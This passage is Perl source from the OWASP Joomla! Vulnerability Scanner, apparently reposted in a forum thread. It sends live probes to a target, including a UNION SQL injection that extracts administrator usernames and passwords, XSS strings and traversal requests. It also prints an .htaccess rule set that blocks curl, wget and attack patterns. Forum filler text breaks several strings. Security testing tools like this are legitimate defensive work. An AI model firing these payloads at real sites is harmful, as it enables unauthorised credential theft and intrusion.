    else

    {

    $vulnans= ' No. Access has been denied. May require a valid user account.';

    }

    last;

    }

    }

    ## Custom POST Req ##

    my $ra_req = '';

    if ($info =~ /view\=archive/gi)

    {

     

    $ra_req = $ua->request(POST "$url",

    Content =>

    [

    filter => "%' %20union%20select%200,1,concat(username,char(58),password),3,4,5,6,7,8,9,10,11,12,13,14,15%20from%20jos_users+where+usertype=0x53757065722041646d696e6973747261746f72--",

    month => '',

    year => '',

    limit => '', view => 'archive',option=>'com_content'

     

    ]

    );

     

    }

    ## ##

    else

    {

    ## let's add valid id

    if( $component_onfocus_Itemid !~ /N\/A/){$exploit=~ s/Itemid=(null|-\d{1,6}|\d{1,6})/Itemid=$component_onfocus_Itemid/;}

    if($component_onfocus_id !~ /N\/A/){$exploit=~ s/id=(null|-\d{1,6}|\d{1,6})/id=$component_onfocus_id/;}

    $ra_req = $ua->get($url.$exploit);

    }

     

    if (is_sqlin($ra_req->content) eq 1)

    {

    $isvuln = 1;

    }

    elsif($exploit =~ /--$/g)

    {

    $exploit =~ s/--$/\*\//gi;

     

    my $ra1_req = $ua->get($url.$exploit);

     

    if (is_sqlin($ra1_req->content) eq 1)

    {

    $isvuln = 1;

    }

    else{$vulnans= 'No';}

     

    }

    elsif($exploit =~ /\/\*\*\//g)

    {

    $exploit =~ s/\/\*\*\//\+/gi;

    my $ra1_req = $ua->get($url.$exploit);

    if (is_sqlin($ra1_req->content) eq 1)

    {

    $isvuln = 1;

    }

    else{$vulnans= 'No';}

    }

    else{$vulnans= 'No';}

    }

    case (/Open\sProxy/i)

    {

    my $ra_req = $ua->get($url.$exploit);

    if ($ra_req->content =~ /'success':\s'1'/g)

    {

    $isvuln = 1;

    }

    }

    case (/Traversal/i)

    {

    if($info =~ /X_CMS_LIBRARY_PATH/gi)

    {

    my $ra_req = $ua->request(GET $url.$check, X_CMS_LIBRARY_PATH => '../');

     

    if($ra_req->content =~ /..\/\/banners\//gi)

    {

    $isvuln = 1;

    }else{$vulnans= 'No';}

    }

    elsif($info =~ /eXtplorer/gi)

    {

    my $xml_ext1 = get_xml_version(do_GET_request($url.$check.'extplorer.xml'));

    my $xml_ext2 = get_xml_version(do_GET_request($url.$check.'extplorer.j15.xml'));

     

    if (($xml_ext1 =~ /(2\.0\.0|1\.)/g) || ($xml_ext2 =~ /(2\.0\.0|1\.)/g) )

    {

    $isvuln = 1;

    }else{$vulnans= 'No';}

    }

    else

    {

    my $ra_req = $ua->get($url.$exploit);

    if ( ($ra_req->content =~ /\_NOT\_EXIST/g) || ($ra_req->content =~ /Index\sof/gi) )

    {

    $isvuln = 1;

    }else {$vulnans= 'No';}

    }

     

    }

    case (/XSS/)

    {

    if($info =~ /com_djiceshoutbox/gi)

    {

    my $ra_req = $ua->request(POST $url.$exploit,

    'X-Requested-With' => 'XMLHttpRequest',

    [

    autor => 'test',

    ip => '127.0.0.1',

    content=> '%22%3E%3Cscript%3Ealert(1)%3C/script%3E'

    ]

    );

    if ($ra_req->content =~ />

    {

    $isvuln = 1;

    }else{$vulnans= 'No';}

    }

    elsif(($exploit =~ /^\/index\.php/gi) && ($info !~ /xsstream-dm/gi))

    {

    my $ra_req = $ua->get($url.$exploit);

     

    if ($ra_req->content =~ />

    {

    $isvuln = 1;

    }else{$vulnans= 'No';}

    }

     

    }

    case (/com_rss\sDOS/)

    {

    $ua->get("$url/index2.php?option=com_rss&feed=xx9xx");

    if (check_if_exists("$url/cache/xx9xx.xml") eq 1)

    {

    $isvuln = 1;$vulnans = 'Yes';

    }else{$vulnans= 'No';}

     

    }

     

    case(/FCKEditor/)

    {

    if(get_url_content($url.$check) =~ /FCKeditor\.prototype\.Version\s{1,7}=\s{1,5}\'([\d.]{3,8})\'/)

    {

    my $fckv = $1;

    if(get_bigger_ver($1,'2.6.4.1') eq '2.6.4.1')

    {

    $isvuln = 1;

    }else{$vulnans = 'No';}

    }

    }

    case(/Path Disclosure/)

    {

    if($exploit =~ /N\/A/ || $exploit !~ /^\//){last;}

     

    if(is_path_disclosed(get_url_content($url.$exploit)) eq 1)

    {

    $isvuln = 1;}

    else{$vulnans = 'No';}

    }

     

    } # end switch

     

    ### vuln detection based on version deduced ###

    ### unless security-savvy webmasters modified version probing files

    ### this will give you 99.99% correct vulnerability identification

    if ($info =~ /Core/g && $isvuln eq 0 && $vulnans ne 'No' && $jversion !~ /N\/A/)

    {

    my $jverx = '';

    if($jversion =~ m{(\d.\d{1,2}.\d{1,2})}g)

    {

    $jverx = $1;

    }

    # for each 1.x and 1.5.x

     

    my $vulnver = $jverx;

    $vulnver =~ s/1\.0\.//g;

    $vulnver =~ s/1\.5\.//g;

     

    $vulnver = int($vulnver);

    if($exact_version_found eq 1)

    {

    my $ex_ver = $exact_version;

    $ex_ver =~ s/1\.0\.//g;

    $ex_ver =~ s/1\.5\.//g;

    $ex_ver = int($ex_ver);

     

    if($vulnver >= $ex_ver)

    {

    $isvuln = 1;

    }

    else{$vulnans = 'No';}

    }

    else

    {

    if($lowest_version_max =~ /[0-9]/g && $biggest_version_min =~ /[0-9]/g )

    {

    $lowest_version_max = int($lowest_version_max);

    $biggest_version_min = int($biggest_version_min);

     

    if( $vulnver >= $biggest_version_min or $vulnver >= $lowest_version_max )

    {

    $isvuln = 1;

    }

    else{$vulnans = 'No';}

    }

    }

     

     

    }

    $total_found_entries ++;

    if($isvuln eq 1)

    {

    if($vulnans eq 'N/A')

    {

    print "\nVulnerable? Yes\n";

    if(($args{o}) && $args{o} eq 'h'){ print EX "Vulnerable? Yes
    ";}

    elsif(($args{o}) && $args{o} eq 't'){print EX "Vulnerable? Yes\n\n";}

    }

    else

    {

    print "\nVulnerable? $vulnans\n";

    if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /No/gi){ print EX "Vulnerable? $vulnans
    ";}

    if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /N\/A/gi){ print EX "Vulnerable? $vulnans
    ";}

    elsif(($args{o}) && $args{o} eq 't'){print EX "Vulnerable? $vulnans\n\n";}

    }

    if(($args{o}) && $args{o} eq 'h')

    {

    switch($info)

    {

    case (/Generic:/i){$J_GENERIC_HOLES++;}

    case (/Core:/i){$J_CORE_HOLES ++;}

    case (/Core/i){$J_CORE_MODULES_HOLES++;}

    else{$J_3rdParties_HOLES++;}

    }

    switch($info)

    {

    case (/XSS/i){$J_XSS_HOLES++;}

    case (/SQL/i){$J_SQLin_HOLES ++;}

    case (/(file include|file inclusion|RFI|LFI)/i){$J_FI_HOLES++;}

    case (/(Generic:|Disclosure)/i){$J_INFO_HOLES ++;}

    case (/Traversal/i){$J_DirTr_HOLES ++;}

    else{$J_OTHER_HOLES++;}

    }

    }

    $found_vulnerable++;

    }

    else

    {

    print "\nVulnerable? $vulnans\n";

    if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /No/gi){ print EX "Vulnerable? $vulnans
    ";}

    if(($args{o}) && $args{o} eq 'h' && $vulnans =~ /N\/A/gi){ print EX "Vulnerable? $vulnans
    ";}

    elsif(($args{o}) && $args{o} eq 't'){print EX "Vulnerable? $vulnans\n\n";}

    }

     

    ########## [/Vulnerability Detection] ######################

    print "\n";

    if(($args{o}) && $args{o} eq 'h'){print EX "

    "; }

     

     

    } # end of $resource_found

    } # end of length check

    } # end of length info

    $timer++;

    if(($args{s}) && $args{s} =~ /p/gi)

    {

    print_completed_by_percentage($dbentry,$timer);

    }

     

    }

    close(JO);

     

    ## free

    undef(@checked_urls);

     

    if ($found == 0){print "NO vulnerable points!\n";bye;}

    else{

    if($found_vulnerable > 1){ print "There are $found_vulnerable vulnerable points in $total_found_entries found entries!\n";}

    else{ print "There is a vulnerable point in $total_found_entries found entries!\n";}

    sub get_chart_height

    {

    if( $J_GENERIC_HOLES > 1 || $J_CORE_HOLES > 1 || $J_CORE_MODULES_HOLES > 1 || $J_3rdParties_HOLES > 1 ){return 400;}else{return 200;}

    }

     

    if(($args{o}) && $args{o} eq 'h')

    {

    print EX qq{

 

var myData = new Array(['Generic', $J_GENERIC_HOLES], ['Core', $J_CORE_HOLES], ['Core Modules', $J_CORE_MODULES_HOLES], ['3rd-party Modules',$J_3rdParties_HOLES]);

var colors = ['#4F4AB3','#CE0000','#CE0000', '#A70000'];

var vulChart = new JSChart('vuln_graph', 'bar');

vulChart.setDataArray(myData);

vulChart.colorizeBars(colors);

vulChart.setDataArray(myData);

vulChart.setShowYValues(false);

vulChart.setSize(550,}.get_chart_height().qq{);

vulChart.setTextPaddingTop(0);

vulChart.setAxisColor('#9D9F9D');

vulChart.setAxisNameX('Area');

vulChart.setAxisNameY('Number');

vulChart.setAxisNameColor('#655D5D');

vulChart.setAxisNameFontSize(9);

vulChart.setAxisValuesColor('#DA352D');

vulChart.setAxisValuesFontSize(9);

vulChart.setAxisValuesDecimals(-0.5);

vulChart.setAxisPaddingBottom(40);

vulChart.setBarValuesColor('#DA352D');

vulChart.setBarValuesFontSize(9);

vulChart.setBarBorderWidth(1);

vulChart.setTitle("by Affected Area");

vulChart.setTitleColor('#696969');

vulChart.setGrid(false);

vulChart.setTooltip(['Core', 'Core Application Framework']);

vulChart.setTooltip(['Generic','Inherently vulnerable by design']);

vulChart.setTooltip(['Core Modules','Includes Core plugins, core components ..etc.']);

vulChart.setTooltip(['3rd-party Modules','3rd party related extensions - templates, plugins, components ..etc']);

vulChart.draw();

 

var myData = new Array(}.pie_values().qq{); /*['SQL Injection', $J_SQLin_HOLES], ['XSS', $J_XSS_HOLES], ['File Inclusion', $J_FI_HOLES], ['Information Disclosure', $J_INFO_HOLES],['Directory Traversal', $J_DirTr_HOLES ], ['Others', $J_OTHER_HOLES]*/

var colors = }.pie_colors().qq{ /*['#CB0A0A', '#FB4800', '#FF6B28','#FB9900','#923A2E','#CA6558' ];*/

var vulPie = new JSChart('vuln_pie', 'pie');

vulPie.setDataArray(myData);

vulPie.colorizePie(colors);

vulPie.setPieUnitsFontSize(9);

vulPie.setGraphLabelColor("#DA352D");

vulPie.setTitleColor('#8C8382');

vulPie.setTextPaddingTop(35);

vulPie.setPieValuesFontSize(9);

vulPie.setPieUnitsColor('#DA352D');

vulPie.setSize(600,440);

vulPie.setPieUnitsOffset(20);

vulPie.setTitle("by Vulnerability Type");

vulPie.setTitleColor('#696969');

vulPie.draw();

 

};

print EX '

items - '.$found_vulnerable.'

This is the hidden content, please

Generated by
This is the hidden content, please
version '.$JOOMSCAN{scanner_version} .' (Database Update: '.$lastupdate.')

[*] Send bugs, suggestions, contributions to

';

close (EX);

}

if (($args{o}) && $args{o} eq 't')

{

print EX "\n[!] Vulnerable Point(s) - $found_vulnerable in $total_found_entries found entries \n\nGenerated by OWASP Joomla! Vulnerability Scanner\n

[*] Send bugs, suggestions, contributions to ".reverse($JOOMSCAN{bug_report_email})."\n";

close(EX);}

if ($args{o}){print "\n~Done saving result as $outfile\n";}

bye;

}

 

 

 

############# [ROUTINES] ################

sub doc_read

{

my $f = shift;$f = uc($f);

open(RE,"$EXECDIR/doc/".$f) || die ("There is no such doc available. Maybe you removed it or use older version of the scanner. Use joomscan.pl download to download new package. Error Message: $!");

close(RE);

if ($^O =~ /Win/) {system("more doc\\".$f);}else{system("more doc/".$f);}

exit;

}

sub usage {

use Env qw(OS);

 

print_owasp_logo();

 

 

print STDERR

qq{

=================================================================

OWASP Joomla! Vulnerability Scanner v$JOOMSCAN{scanner_version}

© $JOOMSCAN{author}

YGN Ethical Hacker Group, Myanmar, http://yehg.net/lab

Update by: Web-Center, http://web-center.si (2011)

=================================================================

};

sleep(3);

print qq{

Vulnerability Entries: $dbentry

Last update: $lastupdate

};

 

print qq{

Usage: $0 -u -x proxy:port

-u = joomla Url

 

==Optional==

 

-x = proXy to tunnel

-c = Cookie (name=value;)

-g "" = desired useraGent string(within ")

-nv = No Version fingerprinting check

-nf = No Firewall detection check

-nvf/-nfv = No version+firewall check

-pe = Poke version only and Exit

-ot = Output to Text file (target-joexploit.txt)

-oh = Output to Html file (target-joexploit.htm)

-vu = Verbose (output every Url scan)

-sp = Show completed Percentage

 

~Press ENTER key to continue };

if ()

{

 

if ($^O =~ /Win/) {system("cls");}else{system("clear");}

 

print qq{

Example: $0 -u victim.com -x localhost:8080

 

Check: $0 check

- Check if the scanner update is available or not.

 

Update: $0 update

- Check and update the local database if newer version is available.

 

Download: $0 download

- Download the scanner latest version as a single zip file - joomscan-latest.zip.

 

Defense: $0 defense

- Give a defensive note.

 

About: $0 story

- A short story about joomscan.

 

Read: $0 read DOCFILE

DOCFILE - changelog,release_note,readme,credits,faq,owasp_project

 

};

}

exit(1);

}

sub story {

print qq{

A Story about OWASP Joomla! Vulnerability Scanner $JOOMSCAN{scanner_version}

© Aung Khant, http://yehg.net/lab

};

print "\n";sleep(1);print "\n";sleep(1);

print "Nowadays ...\n";

sleep(1);

print "with fruitful results of Opensource ..\n";

sleep(1);

print "the use of CMS are more and more prevailing ...\n";

sleep(1);

print "integrating into .\t";sleep(1);

print "embeding into ..\n";sleep(1);

print "wrapping with a nice site design.\n";sleep(1);print "\n";sleep(1);

print "\nAttackers take advange of its widespread use\n";sleep(1);

print "ever victimizing CMS web sites with simplest strings of attack.\n";sleep(1);print "\n";sleep(1);

print "\nVulnerability scanners targeting or dedicating only to\n";sleep(1);

print "most popular widespread CMS are demanding among helpless web developers.\n";sleep(1);print "\n";sleep(1);

print "\nWith this in mind, this JoomScan was c0ded and distributed mainly to\n"; sleep(1);

print "the world of webmasters, web developers and the like.\n";sleep(1);

print "\nI researched Joomla! vulnerabilities deeply into the web."; sleep(1);

print "\nI learnt that a complete Joomla! vulnerability list archive was not found at\n";sleep (1);

print "even milw0rm.com or secunia.com\n"; sleep (1);print "\n";sleep(1);

print "I realized unfamous holes ever exist in the wild "; sleep (1);

print "known only to a few who keep secret.\n";

sleep(1);print "\n";sleep(1);

print "\n~Story finished. Have fun!\n";

bye;

}

sub defense {

print qq {

Defensive Measure:

===================

0x0. Patch your vulnerable components or modules.

This can be achieved via upgrading to the latest version or patch files.

But in some components where development is dead, you should better

remove those components. Those kind of components are marked as

"Versions Affected: Any or All".

 

0x1. Implement php-ids (

This is the hidden content, please
) but it supports only PHP Version 5.2 and above

0x2. Implement mod_security but you may not urge your web server admin to install

0x3. The mod_write security rules provide base-line readily-extensible security measure:

Add the following code in .htaccess of your root folder:

 

# Hardened Apache Mod_Rewrite Security Rule

# Last updated Dec 01 2008, check update at

This is the hidden content, please

# Provided by Aung Khant,http://yehg.net/lab

RewriteEngine on

# Allow only GET and POST verbs

RewriteCond %{REQUEST_METHOD} !^(GET|POST)\$ [NC,OR]

# Ban Typical Vulnerability Scanners and others

# Kick out Script Kiddies

RewriteCond %{HTTP_USER_AGENT} ^()\$ [NC,OR] # void of UserAgent

RewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|wkito|pykto|pikto|scan|acunetix|qualys|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR]

RewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]

 

# Block out common attack strings

# Anti-bypassing with star-slash, slash-star

RewriteCond %{QUERY_STRING} ^.*(/\\\*|\\\*/).* [NC,OR]

# Directory Travarsal & Null Byte Injection

RewriteCond %{QUERY_STRING} (\.\./|\.\.%2f|\.\.%u2215|%u002e%u002e%u2215|%252e%252e%252f|%00|\\00|\\x00|\\u00|%5C00|||%09|%0D%0A) [NC,OR]

# SQL Injection Probing

RewriteCond %{QUERY_STRING} ^.*(OR%201=1|/select/|/union/|/insert/|/update/|/delete/).* [NC,OR]

# Remote/Local File Inclusion

RewriteCond %{QUERY_STRING} (http:\/\/)*(\?)\$ [NC,OR]

# PHP Version Probing

RewriteCond %{QUERY_STRING} (?=PHP).* [NC,OR]

# XSS Probing

RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]

# PHP GLOBALS Overriding

RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]

# PHP REQUEST variable Overriding

RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})

# Deny access

RewriteRule ^(.*)\$ index.php [F,L]

 

 

};

print "Do you want me to write the above .htaccess code to file? [y/n]\n\n";

my $ans = ;

chomp($ans);

if($ans eq 'y')

{

open(HT,">.htaccess");

print HT "# Hardened Apache Mod_Rewrite Security Rule\n# Provided by Aung Khant,http://yehg.net/lab, Check update at

This is the hidden content, please
on\n# Allow only GET and POST verbs\nRewriteCond %{REQUEST_METHOD} !^(GET|POST)\$ [NC,OR]\n# Ban Typical Vulnerability Scanners and others\n# Kick out Script Kiddies\nRewriteCond %{HTTP_USER_AGENT} ^()\$ [NC,OR] # void of UserAgent\nRewriteCond %{HTTP_USER_AGENT} ^(java|curl|wget).* [NC,OR]\nRewriteCond %{HTTP_USER_AGENT} ^.*(libwww-perl|curl|wget|python|nikto|wkito|pikto|pykto|scan|acunetix|qualys|fuck|kiss|ass|Morfeus|0wn|hack|h4x|h4x0r).* [NC,OR]\nRewriteCond %{HTTP_USER_AGENT} ^.*(winhttp|HTTrack|clshttp|archiver|loader|email|harvest|extract|grab|miner).* [NC,OR]\n# Block out common attack strings \n# Anti-bypassing with star-slash, slash-star\nRewriteCond %{QUERY_STRING} ^.*(/\\\*|\\\*/).* [NC,OR]\n# Directory Travarsal & Null Byte Injection\nRewriteCond %{QUERY_STRING} (\.\./|\.\.%2f|\.\.%u2215|%u002e%u002e%u2215|%252e%252e%252f|%00|\\00|\\x00|\\u00|%5C00|||%09|%0D%0A) [NC,OR]\n# SQL Injection Probing\nRewriteCond %{QUERY_STRING} ^.*(OR%201=1|/select/|/union/|/insert/|/update/|/delete/).* [NC,OR]\n# Remote/Local File Inclusion\nRewriteCond %{QUERY_STRING} (http:\/\/)*(\?)\$ [NC,OR]\n# PHP Version Probing\nRewriteCond %{QUERY_STRING} (?=PHP).* [NC,OR]\n# XSS Probing\nRewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]\n# PHP GLOBALS Overriding\nRewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [NC,OR]\n# PHP REQUEST variable Overriding\nRewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})\n# Deny access\nRewriteRule ^(.*)\$ index.php [F,L]\n";

close HT;

print "\n~Done writing to file successfully. have fun!\n";

}

bye;

}

sub check {

print_owasp_logo();

print qq{

OWASP Joomla! Vulnerability Scanner Program Update

© Aung Khant, http://yehg.net/lab

Update by: Web-Center, http://web-center.si

 

};

my $file = shift || $0;

open(FILE, $file) or die "Can't open '$file': $!";

my $md5 = Digest::MD5->new;

my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);

$ua->timeout(30);

while () {

$md5->add(encode_utf8($_));

}

close(FILE);

my $local_hash = $md5->hexdigest;

my $remote_con = $ua->request(GET "$JOOMSCAN{scanner_update_url}");

if ($remote_con->status_line !~ /200/)

{

print "~[x] Unable to connect the update server!\nUse svn update instead.\nsvn co https://joomscan.svn.sourceforge.net/svnroot/joomscan/trunk joomscan\n";bye;

}

my $remote_hash = md5_hex(encode_utf8($remote_con->content));

 

if ($local_hash eq $remote_hash)

{

print "

[*] Scanner Update is not available.\n~Please check again later.\n";

}else{

print qq {

~Scanner Update is now available!

~Downloading and saving as joomscan1.pl ...

 

};

open(UPD,">joomscan1.pl");

print UPD encode_utf8($remote_con->content);

close(UPD);

print "~Done. Please check joomscan1.pl. If it works,rename it to joomscan.pl\n\n";

print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});

print "\n\n";

}

bye;

}

sub download{

my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);

$ua->timeout(30);

print_owasp_logo();

print qq{

OWASP Joomla! Vulnerability Scanner Full Package Download

© Aung Khant, http://yehg.net/lab

Update by: Web-Center, http://web-center.si

 

URL: $JOOMSCAN{scanner_download_url}

 

};

use WWW::Mechanize;

my $mech = WWW::Mechanize->new;

$mech->get("$JOOMSCAN{scanner_download_url}",":content_file"=>'joomscan-latest.zip');

print "Done saving as joomscan-latest.zip\n";

print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});

print "\n\n";

bye;

}

sub update {

print_owasp_logo();

my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);

$ua->timeout(30);

my $update_info_request = $ua->get($JOOMSCAN{db_info_url});

print qq{

OWASP Joomla! Vulnerability Scanner Database Update

© Aung Khant, http://yehg.net/lab

Update by: Web-Center, http://web-center.si

 

};

if($update_info_request->status_line =~ m/200/g)

{

my @remote_updates = split /\n/,$update_info_request->content;

chomp(@remote_updates);

my($remote_db_entries,$remote_lastupdate) = @remote_updates;

$remote_lastupdate =~ s/\s$//g;

print "\nRemote Database Entries: $remote_db_entries\nRemote Last Update: $remote_lastupdate";

print "\n\n". "Local Database Entries: $dbentry \nLocal Last update: $lastupdate\n\n";

 

 

if($remote_lastupdate ne $lastupdate)

{

print "~Updating..\n";

my $update_db_request = $ua->get($JOOMSCAN{db_update_url});

 

if($update_db_request->status_line =~ m/200/g )

{

my $update_db_contents = $update_db_request->content;

$update_db_contents=~ s/\r\n/\n/g;

open(DBX,">$JOOMSCAN{joomdbfile}");

print DBX $update_db_contents;

close DBX;

 

my $update_info_contents = $update_info_request->content;

$update_info_contents =~ s/\r\n/\n/g;

open(INFOX,">$JOOMSCAN{joomdbinfofile}");

print INFOX $update_info_contents;

close INFOX;

 

print "\n~Done successfully. have fun!\n";

print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});

print "\n\n";

}

else

{

print "~Database cannot be retrieved. Try again later.\n";

}

}

else

{

print "No database update currently. Check at least once a month.\n";

}

bye;

}

else {

print "Please try again later. I got - ", $update_info_request->status_line,"\n";

}

 

 

bye;

}

sub auto_update{

my $ua = LWP::UserAgent->new('requests_redirectable'=>['HEAD','GET','POST']);

$ua->timeout(30);

my $file = shift || $0;

open(FILE, $file) or die "Can't open '$file': $!";

my $md5 = Digest::MD5->new;

while () {

$md5->add(encode_utf8($_));

}

close(FILE);

my $local_hash = $md5->hexdigest;

my $remote_con = $ua->request(GET "$JOOMSCAN{scanner_update_url}");

if ($remote_con->status_line =~ /200/g)

{

my $remote_hash = md5_hex(encode_utf8($remote_con->content));

 

if ($local_hash ne $remote_hash)

{

print qq{

Joomla! Vulnerability Scanner Program Update

© Aung Khant, http://yehg.net/lab

Update by: Web-Center, http://web-center.si

 

~Scanner Update is now available!

~Downloading and saving as joomscan1.pl ...

 

};

open(UPD,">joomscan1.pl");

print UPD encode_utf8($remote_con->content);

close(UPD);

print "~Done. Run that latest version joomscan1.pl after renaming it to joomscan.pl \n";

print "\nUpdate Note:\n",get_url_content($JOOMSCAN{scanner_update_note_url});

print "\n\n";

bye;

}

}

 

my $update_info_request = $ua->get($JOOMSCAN{db_info_url});

 

if($update_info_request->status_line =~ m/200/g)

{

my @remote_updates = split /\n/,$update_info_request->content;

chomp(@remote_updates);

my($remote_db_entries,$remote_lastupdate) = @remote_updates;

$remote_lastupdate =~ s/\s$//g;

 

if($remote_lastupdate ne $lastupdate)

{

print qq{

Joomla! Vulnerability Scanner Database Update

© Aung Khant, http://yehg.net/lab

Update by: Web-Center, http://web-center.si

 

Database update is now available.

 

};

my $update_db_request = $ua->get("$JOOMSCAN{db_update_url}");

 

if($update_db_request->status_line =~ m/200/g )

{

my $update_db_contents = $update_db_request->content;

$update_db_contents=~ s/\r\n/\n/g;

open(DBX,">$JOOMSCAN{joomdbfile}");

print DBX $update_db_contents;

close DBX;

 

my $update_info_contents = $update_info_request->content;

$update_info_contents =~ s/\r\n/\n/g;

open(INFOX,">$JOOMSCAN{joomdbinfofile}");

print INFOX $update_info_contents;

close INFOX;

 

print "\n~updated successfully. Will use new database from now on!\n";

sleep(5);

}

}

}

 

}

 

############# [/ROUTINES] ################[/LENGUAJE]

Link to comment
Share on other sites

Guest
This topic is now closed to further replies.
×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.